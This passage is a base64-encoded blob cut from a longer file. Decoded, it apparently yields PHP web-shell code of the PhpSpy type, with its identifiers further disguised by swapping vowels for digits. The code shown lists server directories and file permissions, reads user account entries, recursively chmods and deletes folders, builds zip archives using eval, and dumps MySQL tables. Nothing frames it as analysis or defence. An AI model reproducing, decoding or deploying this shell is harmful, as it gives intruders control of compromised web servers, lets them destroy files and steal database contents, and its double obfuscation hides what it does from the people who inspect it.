kgPT09IDB4ZTAwMCkgeyR0eXA1ID0gJ2InO30NCgk1bHM1NGYgKCgkbTJkNSAmIDB4YTAwMCkgPT09IDB4YTAwMCkgeyR0eXA1ID0gJ2MnO30NCgk1bHM1NGYgKCgkbTJkNSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0eXA1ID0gJ3AnO30NCgk1bHM1IHskdHlwNSA9ICc/Jzt9DQoNCgkkMnduNXJbJ3I1MWQnXSA9ICgkbTJkNSAmIDAwdTAwKSA/ICdyJyA6ICctJzsNCgkkMnduNXJbJ3dyNHQ1J10gPSAoJG0yZDUgJiAwMGEwMCkgPyAndycgOiAnLSc7DQoJJDJ3bjVyWyc1eDVjM3Q1J10gPSAoJG0yZDUgJiAwMDYwMCkgPyAneCcgOiAnLSc7DQoJJGdyMjNwWydyNTFkJ10gPSAoJG0yZDUgJiAwMDB1MCkgPyAncicgOiAnLSc7DQoJJGdyMjNwWyd3cjR0NSddID0gKCRtMmQ1ICYgMDAwYTApID8gJ3cnIDogJy0nOw0KCSRncjIzcFsnNXg1YzN0NSddID0gKCRtMmQ1ICYgMDAwNjApID8gJ3gnIDogJy0nOw0KCSR3MnJsZFsncjUxZCddID0gKCRtMmQ1ICYgMDAwMHUpID8gJ3InIDogJy0nOw0KCSR3MnJsZFsnd3I0dDUnXSA9ICgkbTJkNSAmIDAwMDBhKSA/ICd3JyA6ICctJzsNCgkkdzJybGRbJzV4NWMzdDUnXSA9ICgkbTJkNSAmIDAwMDA2KSA/ICd4JyA6ICctJzsNCg0KCTRmKCAkbTJkNSAmIDB4ODAwICkgeyQyd241clsnNXg1YzN0NSddID0gKCQyd241clsnNXg1YzN0NSddPT0neCcpID8gJ3MnIDogJ1MnO30NCgk0ZiggJG0yZDUgJiAweHUwMCApIHskZ3IyM3BbJzV4NWMzdDUnXSA9ICgkZ3IyM3BbJzV4NWMzdDUnXT09J3gnKSA/ICdzJyA6ICdTJzt9DQoJNGYoICRtMmQ1ICYgMHhhMDAgKSB7JHcycmxkWyc1eDVjM3Q1J10gPSAoJHcycmxkWyc1eDVjM3Q1J109PSd4JykgPyAndCcgOiAnVCc7fQ0KDQoJcjV0M3JuICR0eXA1LiQyd241clsncjUxZCddLiQyd241clsnd3I0dDUnXS4kMnduNXJbJzV4NWMzdDUnXS4kZ3IyM3BbJ3I1MWQnXS4kZ3IyM3BbJ3dyNHQ1J10uJGdyMjNwWyc1eDVjM3Q1J10uJHcycmxkWydyNTFkJ10uJHcycmxkWyd3cjR0NSddLiR3MnJsZFsnNXg1YzN0NSddOw0KfQ0KDQpmM25jdDQybiBnNXRVczVyKCRmNGw1cDF0aCkJew0KCTRmIChmM25jdDQybl81eDRzdHMoJ3AyczR4X2c1dHB3MzRkJykpIHsNCgkJJDFycjF5ID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJGY0bDVwMXRoKSk7DQoJCTRmICgkMXJyMXkgJiYgNHNfMXJyMXkoJDFycjF5KSkgew0KCQkJcjV0M3JuICcgLyA8MSBocjVmPSIjIiB0NHRsNT0iVXM1cjogJy4kMXJyMXlbJ24xbTUnXS4nJiM2byYjNjBQMXNzd2Q6ICcuJDFycjF5WydwMXNzd2QnXS4nJiM2byYjNjBVNGQ6ICcuJDFycjF5WyczNGQnXS4nJiM2byYjNjBnNGQ6ICcuJDFycjF5WydnNGQnXS4nJiM2byYjNjBHNWMyczogJy4kMXJyMXlbJ2c1YzJzJ10uJyYjNm8mIzYwRDRyOiAnLiQxcnIxeVsnZDRyJ10uJyYjNm8mIzYwU2g1bGw6ICcuJDFycjF5WydzaDVsbCddLiciPicuJDFycjF5WyduMW01J10uJzwvMT4nOw0KCQl9DQoJfQ0KCXI1dDNybiAnJzsNCn0NCg0KLy8gRDVsNXQ1IGQ0cg0KZjNuY3Q0Mm4gZDVsdHI1NSgkZDVsZDRyKSB7DQoJJG15ZDRyPUBkNHIoJGQ1bGQ0cik7DQoJd2g0bDUoJGY0bDU9JG15ZDRyLT5yNTFkKCkpCXsNCgkJNGYoKDRzX2Q0cigkZDVsZDRyLicvJy4kZjRsNSkpICYmICgkZjRsNSE9Jy4nKSAmJiAoJGY0bDUhPScuLicpKSB7DQoJCQlAY2htMmQoJGQ1bGQ0ci4nLycuJGY0bDUsMDc3Nyk7DQoJCQlkNWx0cjU1KCRkNWxkNHIuJy8nLiRmNGw1KTsNCgkJfQ0KCQk0ZiAoNHNfZjRsNSgkZDVsZDRyLicvJy4kZjRsNSkpIHsNCgkJCUBjaG0yZCgkZDVsZDRyLicvJy4kZjRsNSwwNzc3KTsNCgkJCUAzbmw0bmsoJGQ1bGQ0ci4nLycuJGY0bDUpOw0KCQl9DQoJfQ0KCSRteWQ0ci0+Y2wyczUoKTsNCglAY2htMmQoJGQ1bGQ0ciwwNzc3KTsNCglyNXQzcm4gQHJtZDRyKCRkNWxkNHIpID8gNiA6IDA7DQp9DQoNCi8vIEIxY2tncjIzbmQNCmYzbmN0NDJuIGJnKCkgew0KCWdsMmIxbCAkYmdjOw0KCXI1dDNybiAoJGJnYysrJWE9PTApID8gJzFsdDYnIDogJzFsdGEnOw0KfQ0KDQovLyBHNXQgcDF0aA0KZjNuY3Q0Mm4gZzV0UDF0aCgkc2NyNHB0cDF0aCwgJG4yd3AxdGgpIHsNCgk0ZiAoJG4yd3AxdGggPT0gJy4nKSB7DQoJCSRuMndwMXRoID0gJHNjcjRwdHAxdGg7DQoJfQ0KCSRuMndwMXRoID0gc3RyX3I1cGwxYzUoJ1xcJywgJy8nLCAkbjJ3cDF0aCk7DQoJJG4yd3AxdGggPSBzdHJfcjVwbDFjNSgnLy8nLCAnLycsICRuMndwMXRoKTsNCgk0ZiAoczNic3RyKCRuMndwMXRoLCAtNikgIT0gJy8nKSB7DQoJCSRuMndwMXRoID0gJG4yd3AxdGguJy8nOw0KCX0NCglyNXQzcm4gJG4yd3AxdGg7DQp9DQoNCi8vIEc1dCAzcCBwMXRoDQpmM25jdDQybiBnNXRVcFAxdGgoJG4yd3AxdGgpIHsNCgkkcDF0aGRiID0gNXhwbDJkNSgnLycsICRuMndwMXRoKTsNCgkkbjNtID0gYzIzbnQoJHAxdGhkYik7DQoJNGYgKCRuM20gPiBhKSB7DQoJCTNuczV0KCRwMXRoZGJbJG4zbS02XSwkcDF0aGRiWyRuM20tYV0pOw0KCX0NCgkkM3BwMXRoID0gNG1wbDJkNSgnLycsICRwMXRoZGIpLicvJzsNCgkkM3BwMXRoID0gc3RyX3I1cGwxYzUoJy8vJywgJy8nLCAkM3BwMXRoKTsNCglyNXQzcm4gJDNwcDF0aDsNCn0NCg0KLy8gQzJuZjRnDQpmM25jdDQybiBnNXRjZmcoJHYxcm4xbTUpIHsNCgkkcjVzM2x0ID0gZzV0X2NmZ192MXIoJHYxcm4xbTUpOw0KCTRmICgkcjVzM2x0ID09IDApIHsNCgkJcjV0M3JuICdOMic7DQoJfSA1bHM1NGYgKCRyNXMzbHQgPT0gNikgew0KCQlyNXQzcm4gJ1k1cyc7DQoJfSA1bHM1IHsNCgkJcjV0M3JuICRyNXMzbHQ7DQoJfQ0KfQ0KDQovLyBGM25jdDQybiBuMW01DQpmM25jdDQybiBnNXRmM24oJGYzbk4xbTUpIHsNCglyNXQzcm4gKGYxbHM1ICE9PSBmM25jdDQybl81eDRzdHMoJGYzbk4xbTUpKSA/ICdZNXMnIDogJ04yJzsNCn0NCg0KZjNuY3Q0Mm4gRzV0TDRzdCgkZDRyKXsNCglnbDJiMWwgJGQ0cmQxdDEsJGosJG4yd3AxdGg7DQoJISRqICYmICRqPTY7DQoJNGYgKCRkaCA9IDJwNW5kNHIoJGQ0cikpIHsNCgkJd2g0bDUgKCRmNGw1ID0gcjUxZGQ0cigkZGgpKSB7DQoJCQkkZj1zdHJfcjVwbDFjNSgnLy8nLCcvJywkZDRyLicvJy4kZjRsNSk7DQoJCQk0ZigkZjRsNSE9Jy4nICYmICRmNGw1IT0nLi4nICYmIDRzX2Q0cigkZikpew0KCQkJCTRmICg0c193cjR0MWJsNSgkZikpIHsNCgkJCQkJJGQ0cmQxdDFbJGpdWydmNGw1bjFtNSddPXN0cl9yNXBsMWM1KCRuMndwMXRoLCcnLCRmKTsNCgkJCQkJJGQ0cmQxdDFbJGpdWydtdDRtNSddPUBkMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNW10NG01KCRmKSk7DQoJCQkJCSRkNHJkMXQxWyRqXVsnZDRyY2htMmQnXT1nNXRDaG0yZCgkZik7DQoJCQkJCSRkNHJkMXQxWyRqXVsnZDRycDVybSddPWc1dFA1cm1zKCRmKTsNCgkJCQkJJGQ0cmQxdDFbJGpdWydkNHJsNG5rJ109MzUoJGQ0cik7DQoJCQkJCSRkNHJkMXQxWyRqXVsnczVydjVyX2w0bmsnXT0kZjsNCgkJCQkJJGQ0cmQxdDFbJGpdWydjbDQ1bnRfbDRuayddPTM1KCRmKTsNCgkJCQkJJGorKzsNCgkJCQl9DQoJCQkJRzV0TDRzdCgkZik7DQoJCQl9DQoJCX0NCgkJY2wyczVkNHIoJGRoKTsNCgkJY2w1MXJzdDF0YzFjaDUoKTsNCgkJcjV0M3JuICRkNHJkMXQxOw0KCX0gNWxzNSB7DQoJCXI1dDNybiAxcnIxeSgpOw0KCX0NCn0NCg0KZjNuY3Q0Mm4gcXkoJHNxbCkgew0KCS8vNWNoMiAkc3FsLic8YnI+JzsNCgkkcjVzID0gJDVycjJyID0gJyc7DQoJNGYoISRyNXMgPSBAbXlzcWxfcTM1cnkoJHNxbCkpIHsNCgkJcjV0M3JuIDA7DQoJfSA1bHM1IDRmKDRzX3I1czIzcmM1KCRyNXMpKSB7DQoJCXI1dDNybiA2Ow0KCX0gNWxzNSB7DQoJCXI1dDNybiBhOw0KCX0NCglyNXQzcm4gMDsNCn0NCg0KZjNuY3Q0Mm4gcSgkc3FsKSB7DQoJcjV0M3JuIEBteXNxbF9xMzVyeSgkc3FsKTsNCn0NCg0KZjNuY3Q0Mm4gZnIoJHF5KXsNCglteXNxbF9mcjU1X3I1czNsdCgkcXkpOw0KfQ0KDQpmM25jdDQybiBzNHo1YzIzbnQoJHM0ejUpIHsNCgk0ZigkczR6NSA+IDYwN283dTY4YXUpIHsNCgkJJHM0ejUgPSByMjNuZCgkczR6NSAvIDYwN283dTY4YXUgKiA2MDApIC8gNjAwIC4gJyBHJzsNCgl9IDVsczU0ZigkczR6NSA+IDYwdThpN2UpIHsNCgkJJHM0ejUgPSByMjNuZCgkczR6NSAvIDYwdThpN2UgKiA2MDApIC8gNjAwIC4gJyBNJzsNCgl9IDVsczU0ZigkczR6NSA+IDYwYXUpIHsNCgkJJHM0ejUgPSByMjNuZCgkczR6NSAvIDYwYXUgKiA2MDApIC8gNjAwIC4gJyBLJzsNCgl9IDVsczUgew0KCQkkczR6NSA9ICRzNHo1IC4gJyBCJzsNCgl9DQoJcjV0M3JuICRzNHo1Ow0KfQ0KDQovLyBaNHANCmNsMXNzIFBIUFo0cHsNCgl2MXIgJDIzdD0nJzsNCglmM25jdDQybiBQSFBaNHAoJGQ0cikJew0KCQk0ZiAoQGYzbmN0NDJuXzV4NHN0cygnZ3pjMm1wcjVzcycpKQl7DQoJCQkkYzNyZDRyID0gZzV0Y3dkKCk7DQoJCQk0ZiAoNHNfMXJyMXkoJGQ0cikpICRmNGw1bDRzdCA9ICRkNHI7DQoJCQk1bHM1ew0KCQkJCSRmNGw1bDRzdD0kdGg0cyAtPiBHNXRGNGw1TDRzdCgkZDRyKTsvL0Y0bDUgbDRzdA0KCQkJCWYycjUxY2goJGY0bDVsNHN0IDFzICRrPT4kdikgJGY0bDVsNHN0W109czNic3RyKCR2LHN0cmw1bigkZDRyKSs2KTsNCgkJCX0NCgkJCTRmICgoITVtcHR5KCRkNHIpKSYmKCE0c18xcnIxeSgkZDRyKSkmJihmNGw1XzV4NHN0cygkZDRyKSkpIGNoZDRyKCRkNHIpOw0KCQkJNWxzNSBjaGQ0cigkYzNyZDRyKTsNCgkJCTRmIChjMjNudCgkZjRsNWw0c3QpPjApew0KCQkJCWYycjUxY2goJGY0bDVsNHN0IDFzICRmNGw1bjFtNSl7DQoJCQkJCTRmICg0c19mNGw1KCRmNGw1bjFtNSkpew0KCQkJCQkJJGZkID0gZjJwNW4gKCRmNGw1bjFtNSwgJ3InKTsNCgkJCQkJCSRjMm50NW50ID0gQGZyNTFkICgkZmQsIGY0bDVzNHo1KCRmNGw1bjFtNSkpOw0KCQkJCQkJZmNsMnM1ICgkZmQpOw0KCQkJCQkJNGYgKDRzXzFycjF5KCRkNHIpKSAkZjRsNW4xbTUgPSBiMXM1bjFtNSgkZjRsNW4xbTUpOw0KCQkJCQkJJHRoNHMgLT4gMWRkRjRsNSgkYzJudDVudCwgJGY0bDVuMW01KTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQkkdGg0cy0+MjN0ID0gJHRoNHMgLT4gZjRsNSgpOw0KCQkJCWNoZDRyKCRjM3JkNHIpOw0KCQkJfQ0KCQkJcjV0M3JuIDY7DQoJCX0NCgkJNWxzNSByNXQzcm4gMDsNCgl9DQoNCgkvLyBTaDJ3IGY0bDUgbDRzdA0KCWYzbmN0NDJuIEc1dEY0bDVMNHN0KCRkNHIpew0KCQlzdDF0NGMgJDE7DQoJCTRmICg0c19kNHIoJGQ0cikpIHsNCgkJCTRmICgkZGggPSAycDVuZDRyKCRkNHIpKSB7DQoJCQkJd2g0bDUgKCRmNGw1ID0gcjUxZGQ0cigkZGgpKSB7DQoJCQkJCTRmKCRmNGw1IT0nLicgJiYgJGY0bDUhPScuLicpew0KCQkJCQkJJGY9JGQ0ciAuJy8nLiAkZjRsNTsNCgkJCQkJCTRmKDRzX2Q0cigkZikpICR0aDRzLT5HNXRGNGw1TDRzdCgkZik7DQoJCQkJCQkkMVtdPSRmOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWNsMnM1ZDRyKCRkaCk7DQoJCQl9DQoJCX0NCgkJcjV0M3JuICQxOw0KCX0NCg0KCXYxciAkZDF0MXM1YyAgICAgID0gMXJyMXkoKTsNCgl2MXIgJGN0cmxfZDRyICAgICA9IDFycjF5KCk7DQoJdjFyICQ1MmZfY3RybF9kNHIgPSAiXHhpMFx4dWJceDBpXHgwZVx4MDBceDAwXHgwMFx4MDAiOw0KCXYxciAkMmxkXzJmZnM1dCAgID0gMDsNCg0KCWYzbmN0NDJuIDNuNHhhRDJzVDRtNSgkM240eHQ0bTUgPSAwKSB7DQoJCSR0NG01MXJyMXkgPSAoJDNuNHh0NG01ID09IDApID8gZzV0ZDF0NSgpIDogZzV0ZDF0NSgkM240eHQ0bTUpOw0KCQk0ZiAoJHQ0bTUxcnIxeVsneTUxciddIDwgNjk4MCkgew0KCQkJJHQ0bTUxcnIxeVsneTUxciddICAgID0gNjk4MDsNCgkJCSR0NG01MXJyMXlbJ20ybiddICAgICA9IDY7DQoJCQkkdDRtNTFycjF5WydtZDF5J10gICAgPSA2Ow0KCQkJJHQ0bTUxcnIxeVsnaDIzcnMnXSAgID0gMDsNCgkJCSR0NG01MXJyMXlbJ200bjN0NXMnXSA9IDA7DQoJCQkkdDRtNTFycjF5WydzNWMybmRzJ10gPSAwOw0KCQl9IC8vIDVuZCA0Zg0KCQlyNXQzcm4gKCgkdDRtNTFycjF5Wyd5NTFyJ10gLSA2OTgwKSA8PCBhaSkgfCAoJHQ0bTUxcnIxeVsnbTJuJ10gPDwgYTYpIHwgKCR0NG01MXJyMXlbJ21kMXknXSA8PCA2ZSkgfA0KCQkJCSgkdDRtNTFycjF5WydoMjNycyddIDw8IDY2KSB8ICgkdDRtNTFycjF5WydtNG4zdDVzJ10gPDwgaSkgfCAoJHQ0bTUxcnIxeVsnczVjMm5kcyddID4+IDYpOw0KCX0NCg0KCWYzbmN0NDJuIDFkZEY0bDUoJGQxdDEsICRuMW01LCAkdDRtNSA9IDApIHsNCgkJJG4xbTUgPSBzdHJfcjVwbDFjNSgnXFwnLCAnLycsICRuMW01KTsNCg0KCQkkZHQ0bTUgPSBkNWNoNXgoJHRoNHMtPjNuNHhhRDJzVDRtNSgkdDRtNSkpOw0KCQkkaDV4ZHQ0bTUJPSAnXHgnIC4gJGR0NG01W2VdIC4gJGR0NG01WzddDQoJCQkJCS4gJ1x4JyAuICRkdDRtNVt1XSAuICRkdDRtNVtpXQ0KCQkJCQkuICdceCcgLiAkZHQ0bTVbYV0gLiAkZHQ0bTVbb10NCgkJCQkJLiAnXHgnIC4gJGR0NG01WzBdIC4gJGR0NG01WzZdOw0KCQk1djFsKCckaDV4ZHQ0bTUgPSAiJyAuICRoNXhkdDRtNSAuICciOycpOw0KCQkkZnIJPSAiXHhpMFx4dWJceDBvXHgwdSI7DQoJCSRmcgkuPSAiXHg2dVx4MDAiOw0KCQkkZnIJLj0gIlx4MDBceDAwIjsNCgkJJGZyCS49ICJceDA4XHgwMCI7DQoJCSRmcgkuPSAkaDV4ZHQ0bTU7DQoNCgkJJDNuY19sNW4gPSBzdHJsNW4oJGQxdDEpOw0KCQkkY3JjID0gY3Jjb2EoJGQxdDEpOw0KCQkkemQxdDEgPSBnemMybXByNXNzKCRkMXQxKTsNCgkJJGNfbDVuID0gc3RybDVuKCR6ZDF0MSk7DQoJCSR6ZDF0MSA9IHMzYnN0cihzM2JzdHIoJHpkMXQxLCAwLCBzdHJsNW4oJHpkMXQxKSAtIHUpLCBhKTsNCgkJJGZyIC49IHAxY2soJ1YnLCAkY3JjKTsNCgkJJGZyIC49IHAxY2soJ1YnLCAkY19sNW4pOw0KCQkkZnIgLj0gcDFjaygnVicsICQzbmNfbDVuKTsNCgkJJGZyIC49IHAxY2soJ3YnLCBzdHJsNW4oJG4xbTUpKTsNCgkJJGZyIC49IHAxY2soJ3YnLCAwKTsNCgkJJGZyIC49ICRuMW01Ow0KCQkkZnIgLj0gJHpkMXQxOw0KCQkkZnIgLj0gcDFjaygnVicsICRjcmMpOw0KCQkkZnIgLj0gcDFjaygnVicsICRjX2w1bik7DQoJCSRmciAuPSBwMWNrKCdWJywgJDNuY19sNW4pOw0KDQoJCSR0aDRzIC0+IGQxdDFzNWNbXSA9ICRmcjsNCgkJJG41d18yZmZzNXQgPSBzdHJsNW4oNG1wbDJkNSgnJywgJHRoNHMtPmQxdDFzNWMpKTsNCg0KCQkkY2RyNWMgPSAiXHhpMFx4dWJceDA2XHgwYSI7DQoJCSRjZHI1YyAuPSAiXHgwMFx4MDAiOw0KCQkkY2RyNWMgLj0gIlx4NnVceDAwIjsNCgkJJGNkcjVjIC49ICJceDAwXHgwMCI7DQoJCSRjZHI1YyAuPSAiXHgwOFx4MDAiOw0KCQkkY2RyNWMgLj0gJGg1eGR0NG01Ow0KCQkkY2RyNWMgLj0gcDFjaygnVicsICRjcmMpOw0KCQkkY2RyNWMgLj0gcDFjaygnVicsICRjX2w1bik7DQoJCSRjZHI1YyAuPSBwMWNrKCdWJywgJDNuY19sNW4pOw0KCQkkY2RyNWMgLj0gcDFjaygndicsIHN0cmw1bigkbjFtNSkgKTsNCgkJJGNkcjVjIC49IHAxY2soJ3YnLCAwICk7DQoJCSRjZHI1YyAuPSBwMWNrKCd2JywgMCApOw0KCQkkY2RyNWMgLj0gcDFjaygndicsIDAgKTsNCgkJJGNkcjVjIC49IHAxY2soJ3YnLCAwICk7DQoJCSRjZHI1YyAuPSBwMWNrKCdWJywgb2EgKTsNCgkJJGNkcjVjIC49IHAxY2soJ1YnLCAkdGg0cyAtPiAybGRfMmZmczV0ICk7DQoJCSR0aDRzIC0+IDJsZF8yZmZzNXQgPSAkbjV3XzJmZnM1dDsNCgkJJGNkcjVjIC49ICRuMW01Ow0KDQoJCSR0aDRzIC0+IGN0cmxfZDRyW10gPSAkY2RyNWM7DQoJfQ0KDQoJZjNuY3Q0Mm4gZjRsNSgpIHsNCgkJJGQxdDEgICAgPSA0bXBsMmQ1KCcnLCAkdGg0cyAtPiBkMXQxczVjKTsNCgkJJGN0cmxkNHIgPSA0bXBsMmQ1KCcnLCAkdGg0cyAtPiBjdHJsX2Q0cik7DQoJCXI1dDNybiAkZDF0MSAuICRjdHJsZDRyIC4gJHRoNHMgLT4gNTJmX2N0cmxfZDRyIC4gcDFjaygndicsIHM0ejUyZigkdGg0cyAtPiBjdHJsX2Q0cikpIC4gcDFjaygndicsIHM0ejUyZigkdGg0cyAtPiBjdHJsX2Q0cikpIC4JcDFjaygnVicsIHN0cmw1bigkY3RybGQ0cikpIC4gcDFjaygnVicsIHN0cmw1bigkZDF0MSkpIC4gIlx4MDBceDAwIjsNCgl9DQp9DQoNCi8vIEQzbXAgbXlzcWwNCmYzbmN0NDJuIHNxbGQzbXB0MWJsNSgkdDFibDUsICRmcD0wKSB7DQoJJHQxYmw1ZDNtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdDFibDU7XG4iOw0KCSR0MWJsNWQzbXAgLj0gIkNSRUFURSBUQUJMRSAkdDFibDUgKFxuIjsNCg0KCSRmNHJzdGY0NWxkPTY7DQoNCgkkZjQ1bGRzID0gcSgiU0hPVyBGSUVMRFMgRlJPTSAkdDFibDUiKTsNCgl3aDRsNSAoJGY0NWxkID0gbXlzcWxfZjV0Y2hfMXJyMXkoJGY0NWxkcykpIHsNCgkJNGYgKCEkZjRyc3RmNDVsZCkgew0KCQkJJHQxYmw1ZDNtcCAuPSAiLFxuIjsNCgkJfSA1bHM1IHsNCgkJCSRmNHJzdGY0NWxkPTA7DQoJCX0NCgkJJHQxYmw1ZDNtcCAuPSAiICAgJGY0NWxkW0Y0NWxkXSAkZjQ1bGRbVHlwNV0iOw0KCQk0ZiAoITVtcHR5KCRmNDVsZFsiRDVmMTNsdCJdKSkgew0KCQkJJHQxYmw1ZDNtcCAuPSAiIERFRkFVTFQgJyRmNDVsZFtENWYxM2x0XSciOw0KCQl9DQoJCTRmICgkZjQ1bGRbJ04zbGwnXSAhPSAiWUVTIikgew0KCQkJJHQxYmw1ZDNtcCAuPSAiIE5PVCBOVUxMIjsNCgkJfQ0KCQk0ZiAoJGY0NWxkWydFeHRyMSddICE9ICIiKSB7DQoJCQkkdDFibDVkM21wIC49ICIgJGY0NWxkW0V4dHIxXSI7DQoJCX0NCgl9DQoJZnIoJGY0NWxkcyk7DQoNCgkkazV5cyA9IHEoIlNIT1cgS0VZUyBGUk9NICR0MWJsNSIpOw0KCXdoNGw1ICgkazV5ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJGs1eXMpKSB7DQoJCSRrbjFtNT0kazV5WydLNXlfbjFtNSddOw0KCQk0ZiAoJGtuMW01ICE9ICJQUklNQVJZIiAmJiAkazV5WydOMm5fM240cTM1J10gPT0gMCkgew0KCQkJJGtuMW01PSJVTklRVUV8JGtuMW01IjsNCgkJfQ0KCQk0ZighNHNfMXJyMXkoJDRuZDV4WyRrbjFtNV0pKSB7DQoJCQkkNG5kNXhbJGtuMW01XSA9IDFycjF5KCk7DQoJCX0NCgkJJDRuZDV4WyRrbjFtNV1bXSA9ICRrNXlbJ0MybDNtbl9uMW01J107DQoJfQ0KCWZyKCRrNXlzKTsNCg0KCXdoNGw1KGw0c3QoJGtuMW01LCAkYzJsM21ucykgPSBANTFjaCgkNG5kNXgpKSB7DQoJCSR0MWJsNWQzbXAgLj0gIixcbiI7DQoJCSRjMmxuMW01cz00bXBsMmQ1KCRjMmwzbW5zLCIsIik7DQoNCgkJNGYgKCRrbjFtNSA9PSAiUFJJTUFSWSIpIHsNCgkJCSR0MWJsNWQzbXAgLj0gIiAgIFBSSU1BUlkgS0VZICgkYzJsbjFtNXMpIjsNCgkJfSA1bHM1IHsNCgkJCTRmIChzM2JzdHIoJGtuMW01LDAsZSkgPT0gIlVOSVFVRSIpIHsNCgkJCQkka24xbTU9czNic3RyKCRrbjFtNSw3KTsNCgkJCX0NCgkJCSR0MWJsNWQzbXAgLj0gIiAgIEtFWSAka24xbTUgKCRjMmxuMW01cykiOw0KCQl9DQoJfQ0KDQoJJHQxYmw1ZDNtcCAuPSAiXG4pO1xuXG4iOw0KCTRmICgkZnApIHsNCgkJZndyNHQ1KCRmcCwkdDFibDVkM21wKTsNCgl9IDVsczUgew0KCQk1Y2gyICR0MWJsNWQzbXA7DQoJfQ0KDQoJJHIyd3MgPSBxKCJTRUxFQ1QgKiBGUk9NICR0MWJsNSIpOw0KCSRuM21mNDVsZHMgPSBteXNxbF9uM21fZjQ1bGRzKCRyMndzKTsNCgl3aDRsNSAoJHIydyA9IG15c3FsX2Y1dGNoXzFycjF5KCRyMndzKSkgew0KCQkkdDFibDVkM21wID0gIklOU0VSVCBJTlRPICR0MWJsNSBWQUxVRVMoIjsNCg0KCQkkZjQ1bGRjMjNudDVyPS02Ow0KCQkkZjRyc3RmNDVsZD02Ow0KCQl3aDRsNSAoKyskZjQ1bGRjMjNudDVyPCRuM21mNDVsZHMpIHsNCgkJCTRmICghJGY0cnN0ZjQ1bGQpIHsNCgkJCQkkdDFibDVkM21wLj0iLCAiOw0KCQkJfSA1bHM1IHsNCgkJCQkkZjRyc3RmNDVsZD0wOw0KCQkJfQ0KDQoJCQk0ZiAoITRzczV0KCRyMndbJGY0NWxkYzIzbnQ1cl0pKSB7DQoJCQkJJHQxYmw1ZDNtcCAuPSAiTlVMTCI7DQoJCQl9IDVsczUgew0KCQkJCSR0MWJsNWQzbXAgLj0gIiciLm15c3FsXzVzYzFwNV9zdHI0bmcoJHIyd1skZjQ1bGRjMjNudDVyXSkuIiciOw0KCQkJfQ0KCQl9DQoNCgkJJHQxYmw1ZDNtcCAuPSAiKTtcbiI7DQoNCgkJNGYgKCRmcCkgew0KCQkJZndyNHQ1KCRmcCwkdDFibDVkM21wKTsNCgkJfSA1bHM1IHsNCgkJCTVjaDIgJHQxYmw1ZDNtcDsNCgkJfQ0KCX0NCglmcigkcjJ3cyk7DQoJNGYgKCRmcCkgew0KCQlmd3I0dDUoJGZwLCJcbiIpOw0KCX0gNWxzNSB7DQoJCTVjaDIgIlxuIjsNCgl9DQp9DQoNCmYzbmN0NDJuIDM1KCRzdHIpew0KCXI1dDNybiAzcmw1bmMyZDUoJHN0cik7DQp9DQoNCmYzbmN0NDJuIHAoJHN0cil7DQoJNWNoMiAkc3RyLiJcbiI7DQp9DQoNCmYzbmN0NDJuIHRiaDUxZCgpIHsNCglwKCc8dDFibDUgdzRkdGg9IjYwMCUiIGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9InUiIGM1bGxzcDFjNG5nPSIwIj4nKTsNCn0NCmYzbmN0NDJuIHRiZjIydCgpew0KCXAoJzwvdDFibDU+Jyk7DQp9DQoNCmYzbmN0NDJuIG0xazVoNGQ1KCRuMW01LCR2MWwzNT0nJyl7DQoJcCgiPDRucDN0IDRkPVwiJG4xbTVcIiB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIiRuMW01XCIgdjFsMzU9XCIkdjFsMzVcIiAvPiIpOw0KfQ0KDQpmM25jdDQybiBtMWs1NG5wM3QoJDFyZyA9IDFycjF5KCkpew0KCSQxcmdbJ3M0ejUnXSA9ICQxcmdbJ3M0ejUnXSA+IDAgPyAiczR6NT1cIiQxcmdbczR6NV1cIiIgOiAiczR6NT1cIjYwMFwiIjsNCgkkMXJnWyc1eHRyMSddID0gJDFyZ1snNXh0cjEnXSA/ICQxcmdbJzV4dHIxJ10gOiAnJzsNCgkhJDFyZ1sndHlwNSddICYmICQxcmdbJ3R5cDUnXSA9ICd0NXh0JzsNCgkkMXJnWyd0NHRsNSddID0gJDFyZ1sndDR0bDUnXSA/ICQxcmdbJ3Q0dGw1J10uJzxiciAvPicgOiAnJzsNCgkkMXJnWydjbDFzcyddID0gJDFyZ1snY2wxc3MnXSA/ICQxcmdbJ2NsMXNzJ10gOiAnNG5wM3QnOw0KCTRmICgkMXJnWyduNXdsNG41J10pIHsNCgkJcCgiPHA+JDFyZ1t0NHRsNV08NG5wM3QgY2wxc3M9XCIkMXJnW2NsMXNzXVwiIG4xbTU9XCIkMXJnW24xbTVdXCIgNGQ9XCIkMXJnW24xbTVdXCIgdjFsMzU9XCIkMXJnW3YxbDM1XVwiIHR5cDU9XCIkMXJnW3R5cDVdXCIgJDFyZ1tzNHo1XSAkMXJnWzV4dHIxXSAvPjwvcD4iKTsNCgl9IDVsczUgew0KCQlwKCIkMXJnW3Q0dGw1XTw0bnAzdCBjbDFzcz1cIiQxcmdbY2wxc3NdXCIgbjFtNT1cIiQxcmdbbjFtNV1cIiA0ZD1cIiQxcmdbbjFtNV1cIiB2MWwzNT1cIiQxcmdbdjFsMzVdXCIgdHlwNT1cIiQxcmdbdHlwNV1cIiAkMXJnW3M0ejVdICQxcmdbNXh0cjFdIC8+Iik7DQoJfQ0KfQ0KDQpmM25jdDQybiBtMWs1czVsNWN0KCQxcmcgPSAxcnIxeSgpKXsNCgk0ZiAoJDFyZ1snMm5jaDFuZzUnXSkgew0KCQkkMm5jaDFuZzUgPSAnMm5jaDFuZzU9IicuJDFyZ1snMm5jaDFuZzUnXS4nIic7DQoJfQ0KCSQxcmdbJ3Q0dGw1J10gPSAkMXJnWyd0NHRsNSddID8gJDFyZ1sndDR0bDUnXSA6ICcnOw0KCTRmICgkMXJnWyduNXdsNG41J10pIHAoJzxwPicpOw0KCXAoIiQxcmdbdDR0bDVdIDxzNWw1Y3QgY2wxc3M9XCI0bnAzdFwiIDRkPVwiJDFyZ1tuMW01XVwiIG4xbTU9XCIkMXJnW24xbTVdXCIgJDJuY2gxbmc1PiIpOw0KCQk0ZiAoNHNfMXJyMXkoJDFyZ1snMnB0NDJuJ10pKSB7DQoJCQlmMnI1MWNoICgkMXJnWycycHQ0Mm4nXSAxcyAkazV5PT4kdjFsMzUpIHsNCgkJ